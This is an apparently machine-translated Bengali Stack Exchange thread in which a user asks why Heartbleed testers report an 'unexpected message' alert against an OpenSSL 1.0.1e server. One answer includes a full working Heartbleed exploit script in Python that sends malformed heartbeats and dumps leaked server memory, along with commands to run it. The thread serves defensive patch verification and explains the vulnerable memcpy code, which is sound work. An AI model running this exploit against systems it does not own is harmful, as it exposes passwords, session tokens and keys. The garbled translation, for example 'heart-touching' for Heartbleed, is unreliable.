হৃদয়গ্রাহী "অপ্রত্যাশিত বার্তা"


6

আমাদের সংস্থার সফ্টওয়্যার প্যাচ যা যা Heartbleedআক্রমণ করে তা যাচাই করার জন্য আমার একটি কাজ রয়েছে ।

এখন, আমি নিশ্চিত যে সফটওয়্যারটির যে সংস্করণটি আমি 1.0.1eওপেনএসএসএল লাইব্রেরি ব্যবহার করে তা কাজে লাগানোর চেষ্টা করছি যা দুর্বল হওয়া উচিত। তবে, আমি একাধিক হার্টবেল্ড পরীক্ষার সরঞ্জামগুলি চেষ্টা করে দেখেছি এবং তারা সবাই বলেছে যে প্রতিক্রিয়াতে একটি ত্রুটি হয়েছিল এবং আমার অ্যাপটি সম্ভবত দুর্বল নয়।

পরীক্ষার সময়, কার্ডিয়াকআররেস্ট সরঞ্জাম ফিরে এসেছে:

[INFO] Connecting to 10.63.62.79:443 using TLSv1.2
[INFO] Sending ClientHello
[INFO] ServerHello received
[INFO] Sending Heartbeat
[INFO] The server received an alert. It is likely not vulnerable.
[INFO] Alert Level: fatal
[INFO] Alert Description: Unexpected message (see RFC 5246 section 7.2)
[INFO] Closing connection

আরএফসি 5264 এর সাথে পরামর্শ করার পরে , আমি "অপ্রত্যাশিত বার্তা" সম্পর্কে আরও তথ্য পেয়েছি:

অপ্রত্যাশিত_মেসেজ
একটি অনুপযুক্ত বার্তা পেয়েছে। এই সতর্কতা সর্বদা মারাত্মক এবং যথাযথ বাস্তবায়নের মধ্যকার যোগাযোগের ক্ষেত্রে কখনই এটি পালন করা উচিত নয়।

প্রশ্নাবলী:

  • কেউ কি এই ফলাফল সম্পর্কে আরও কিছু আলোকপাত করতে পারে?
  • এক্সটেনশন OpenSSLছাড়াই সংকলন করা যেতে পারে Heartbeat?
  • সংকলনযুক্ত এক্সটেনশনের তালিকা করার কোনও উপায় আছে কি OpenSSL?

অনেক ধন্যবাদ!


1
হ্যাঁ, হার্টবিট সক্ষম না করে ওপেনএসএসএল সংকলন করা যেতে পারে এবং কী হবে তা সুরক্ষা সম্পর্কিত বিশদ সম্পর্কিত এই প্রশ্ন
মকুবাই

ধন্যবাদ! দৌড়ানোর পরে openssl version -a, DOPENSSL_NO_HEARTBEATSআমার টার্মিনালে প্রদর্শিত হয়নি, সুতরাং আমি ধরে নেব যে OpenSSLএটি প্ররোচনা ছাড়াই সংকলিত ছিল তা রুল করার পক্ষে যথেষ্ট Heartbeat। মূলত, এই সংস্করণটি ( 1.0.1e) অবশ্যই দুর্বল হওয়া উচিত, তাই না?
জোভান পেরোভিক

3
তাহলে DOPENSSL_NO_HEARTBEATSযেমন কম্পাইল পতাকা প্রদর্শিত হবে না আমি এর মানে হল যে দ্বারা OpenSSL সংকলিত হয়েছিল সঙ্গেHeartbeat এক্সটেনশান। 1.0.1e এবং 1.0.1 এর সাথে শুরু হওয়া অন্যান্য সংস্করণগুলি কেবলমাত্র হার্টবিট সাপোর্টের সাথে সংকলিত থাকলেই দুর্বল।
ov1d1u

এটিই সন্দেহজনক। তবে আমি সংস্করণে দুর্বলতা পুনরুত্পাদন করতে পরিচালনা করতে পারি না OpenSSL 1.0.1e। আমার এক ধরণের ওয়ার্কিং প্রুফ দরকার যে সফ্টওয়্যার সংস্করণটি ব্যবহার 1.0.1eকরা দুর্বল এবং তার পরে আর তা নয় ...
জোভান পেরোভিক

আপনার ওপেনসেল সংস্করণে তারিখটি পরীক্ষা করুন (ধরে নিচ্ছেন আপনি অ্যাপের মতো প্যাকেজ ম্যানেজারটি ব্যবহার করেন)। যদি এটি এপ্রিল 7 পরে হয় আপনি ভাল আছেন। এটিও: সার্ভারফল্ট / প্রশ্ন / 5887329/… এবং এটি: জিজ্ঞাসুবন্টু
প্রশ্ন

উত্তর:


1

প্রথমত, হার্টবেলড প্রসেস মেমোরি (একবারে 64 কেবি) স্ক্যান করতে সক্ষম হতে প্রদর্শিত হয়েছে, তাই এটি অত্যন্ত গুরুতর। এমনকি এটি ছাড়াও যে ডেটা দেখা যায় তা সহজেই এই জাতীয় পাসওয়ার্ড, সেশন টোকেন এবং অন্যান্য অনেকগুলি জিনিস প্রকাশ করে (বিশেষত পিএইচপি অ্যাপ্লিকেশনগুলির জন্য যা আমি দেখছিলাম)।

মনে রাখবেন যে হিয়ারলেড টিএলএস 1.1 এবং 1.2 কে প্রভাবিত করে এবং তাই যদি আপনি পরীক্ষা করে থাকেন তবে আপনাকে এটি নির্দিষ্ট করা দরকার। (এসএসএল সংস্করণ সীমাবদ্ধ করা কার্যকর উপশম কিনা তা আমি নিশ্চিত হতে পারি না; প্যাচ এবং প্রতিস্থাপনের পক্ষে সেরা)

অজানা বার্তা, এক্ষেত্রে খুব সম্ভবত এর অর্থ হল যে আপনি এমন একটি বিকল্প চেয়েছিলেন যা পিয়ারের পক্ষে উপযুক্ত ছিল না (বা সমর্থিত)। আপনি টিএলএস ১.২ নির্দিষ্ট না করলে আপনি এটি পেতে পারেন।

আমি জ্যারেড স্টাফোর্ড দ্বারা নির্মিত একটি অল্প পাইথন সরঞ্জাম ব্যবহার করেছি। watchআপনি কী দেখতে পারেন তা ব্যবহার করে এটি চালানো এটির শিক্ষামূলক । এটি তার ওয়েবসাইটে তালিকাভুক্ত নয়, তাই আমি এটি নীচে অন্তর্ভুক্ত করেছি। আপনি এ জাতীয় কিছু ব্যবহার করে এটি চালাতে চাইবেন./heartbleed --port 443 --ver 2 SERVER_IP

আমি চালানো আরও দরকারী হিসাবে নীচে:

 ./heartbleed.py somewebserver.example.com -v2 | fgrep -v '................'

বা:

./heartbleed.py somewebserver.example.com --port 443 -v 2 | grep 'server is vulnerable'

এটি প্রদর্শনের জন্য আমার কাছে কোনও আনপ্যাচড সার্ভার নেই, তবে যদি দুর্বল হয় তবে আপনি খুঁজে পাওয়া সামগ্রীর একটি হেক্স / এএসসিআইআই ডাম্প পাবেন, যা দেখতে আকর্ষণীয় হতে পারে। আপনি একটি server is vulnerableবার্তা পাবেন।

#!/usr/bin/python

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
#
# -shirk added TLS version
# -jpicht added SMTP STARTTLS hack

import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
options.add_option('-s', '--smtp-starttls', action="store_true", dest="smtpstarttls", help='Issue SMTP STARTTLS command and wait for data')
options.add_option('-v', '--ver', type='int', default=1, help='TLS version 1 is 1.0, 2 is 1.1, 3 is 1.2 (default: 1)')

def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01
''')

hbv10 = h2bin('''
18 03 01 00 03
01 40 00
''')

hbv11 = h2bin('''
18 03 02 00 03
01 40 00
''')

hbv12 = h2bin('''
18 03 03 00 03
01 40 00
''')


def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        print '  %04x: %-48s %s' % (b, hxdat, pdat)
    print

def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata


def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay

def hit_hb(s):
    #s.send()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False

        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True

        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False

def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print 'Connecting...'
    sys.stdout.flush()
    s.connect((args[0], opts.port))

    if opts.smtpstarttls:
        print 'Sending STARTTLS...'
        sys.stdout.flush()
        s.send("STARTTLS\n")
        print 'Waiting for reply...'
        sys.stdout.flush()
        recvall(s, 100000, 1)

    print 'Sending Client Hello...'
    sys.stdout.flush()
    s.send(hello)
    print 'Waiting for Server Hello...'
    sys.stdout.flush()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            print 'Server closed connection without sending Server Hello.'
            return
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            break

    print 'Sending heartbeat request...'
    sys.stdout.flush()
    if (opts.ver == 1):
        s.send(hbv10)
        hit_hb(s)
    if (opts.ver == 2):
        s.send(hbv11)
        hit_hb(s)
    if (opts.ver == 3):
        s.send(hbv12)
        hit_hb(s)


if __name__ == '__main__':
    main()

ঠিক আছে, প্রতিটি কোণ তদন্ত করার কয়েক দিন পরে আমি এই সিদ্ধান্তে পৌঁছেছি যে আমাদের সংস্থার সফ্টওয়্যারটি দুর্বল ছিল না। পরীক্ষার প্রয়োজনে আমার অতিরিক্ত সার্ভার ছিল এবং চলমান এবং দুর্বলতা নির্ধারণ করার জন্য প্রতিটি গুগল-জ্ঞাত পরীক্ষামূলক ইউটিলিটি চালিয়েছি - অনেক পরীক্ষায় প্রমাণিত হয়েছিল যে সার্ভারটি প্রকৃতই দুর্বল ছিল। এছাড়াও, আমাদের অ্যাপ্লিকেশন সার্ভারের বিরুদ্ধে পরীক্ষা করা হলে একই উপযোগী জিনিসগুলি "সার্ভার সতর্কতা / অজানা বার্তা" ফেরত দেয়। কার্মারন, এই বিষয়ে বিস্তৃত ব্যাখ্যা এবং সহায়তার জন্য ধন্যবাদ। অনুগ্রহমূলক পয়েন্টগুলি আপনার কাছে যায় - সর্বোপরি, আপনি এখানে এই শোষণের
গুরত্বটি তুলে ধরতে

অসাধারণ. খুশি আমি সাহায্য করতে পারে।
ক্যামেরন কের

2

দুর্বল ওপেনএসএসএল লাইব্রেরি ব্যবহার করে এমন প্রতিটি পণ্য স্বয়ংক্রিয়ভাবে হার্টবিট থেকে ঝুঁকির মধ্যে পড়ে না। এটি একটি এসএসএল / টিএলএস-স্তর বাগ, মূল ক্রিপ্টো কোড বাগ নয়। এটি আপনার পণ্য কীভাবে গ্রন্থাগারটি ব্যবহার করছে তা নির্ভর করে।

বাগ নিজেই বিজ্ঞাপন হিসাবে ততটা গুরুতর নয়, যেহেতু এটি যা করে তা প্রোগ্রামের মেমরির একটি 64KB অংশটিকে প্রেরণ বাফার অনুসরণ করে ফেরত পাঠানো হয়। এই খণ্ডে গোপনীয় তথ্য থাকতে পারে বা নাও থাকতে পারে। এমনকি যদি এটিতে এই জাতীয় ডেটা থাকে তবে হ্যাকারটিকে এখনও তাকে আশপাশের আবর্জনা থেকে আলাদা করতে হবে।

চারপাশে বেশ কয়েকটি পণ্য রয়েছে যার চারপাশে দুর্বল ওপেনএসএসএল লাইব্রেরি ব্যবহার করা হয় তবে তারা নিজেরাই দুর্বল নয়, কারণ তারা ত্রুটি শর্তটি ভুলভাবে ছড়িয়ে দেয় (বাগগুলি যেগুলি বাগ থেকে সুরক্ষা দেয়)। আপনার পণ্য তাদের মধ্যে একটি হতে পারে।

আপনার কিছু লাইন-স্নিফার যেমন ওয়িরশার্ক ইনস্টল করা উচিত এবং হার্টবিট বার্তা প্যাকেজ এবং এর উত্তর পর্যবেক্ষণ করা উচিত। যদি উত্তরটি খুব দীর্ঘ হয়, তবে 64KB এর কাছে পৌঁছাচ্ছে, তবে আপনার পণ্যটি ঝুঁকিপূর্ণ। যদি এটি সংক্ষিপ্ত হয় তবে তা ভ্রান্ত হলেও তা আপনার পক্ষে ঝুঁকিপূর্ণ নয়।

সর্বোত্তম সমাধান অবশ্যই ওপেনএসএসএল লাইব্রেরিটি প্যাচ করা।

হৃদয়গ্রাহী তথ্য

এই বাগের একটি ভাল ব্যাখ্যা ওপেনএসএসএল এর হৃদয়গ্রাহী এর অ্যানাটমি নিবন্ধে পাওয়া যাবে :

হার্টব্লিড

ওপেনএসএসএল-এর সি-কোড যা বাগের কারণ হয়ে থাকে:

/* Enter response type, length and copy payload */
*bp++ = TLS1_HB_RESPONSE;
s2n(payload, bp);
memcpy(bp, pl, payload);

এই কোডটি মেমকি কল (মেমরি অনুলিপি ফাংশন) এর আগে ভেরিয়েবল পে-লোডের একটি সাধারণ চেক দ্বারা স্থির করা হয়।

কেবলমাত্র message৪ কেবি যেগুলি নির্মিত বার্তা অনুসরণ করে তা প্রেরণ করা হয়। বার্তাটি নিজেই মেমরির মধ্যে বরাদ্দ করা হয়, সম্ভবত ফাংশন malloc () দ্বারা, তাই সর্বদা একই ঠিকানায় অবস্থিত নাও হতে পারে। যাইহোক, ডেটা বের করা যেতে পারে এমন সীমাবদ্ধতা রয়েছে।

এর অর্থ হ'ল এই বাগের মাধ্যমে পুরো প্রক্রিয়া মেমরি পড়ার গল্পগুলি কেবল গল্পকে ভয় দেখায়, যদিও কিছুটা সুযোগের সাথে আক্রমণকারী ভাগ্যবান হয়ে খুব সংবেদনশীল ডেটা পেতে পারে। এটি সমস্ত কীভাবে আক্রান্ত পণ্যটিকে প্রোগ্রাম করা হয়েছিল এবং এর সঠিক মেমোরি লেআউটের উপর নির্ভর করে।


আমি মনে করি না এটি তার কোনও প্রশ্নের উত্তর দেয়;) ভাল, সম্ভবত প্রথম প্রশ্ন। তবে এটি নৈমিত্তিক পাঠকের জন্য ভাল তথ্য।
jww
আমাদের সাইট ব্যবহার করে, আপনি স্বীকার করেছেন যে আপনি আমাদের কুকি নীতি এবং গোপনীয়তা নীতিটি পড়েছেন এবং বুঝতে পেরেছেন ।
Licensed under cc by-sa 3.0 with attribution required.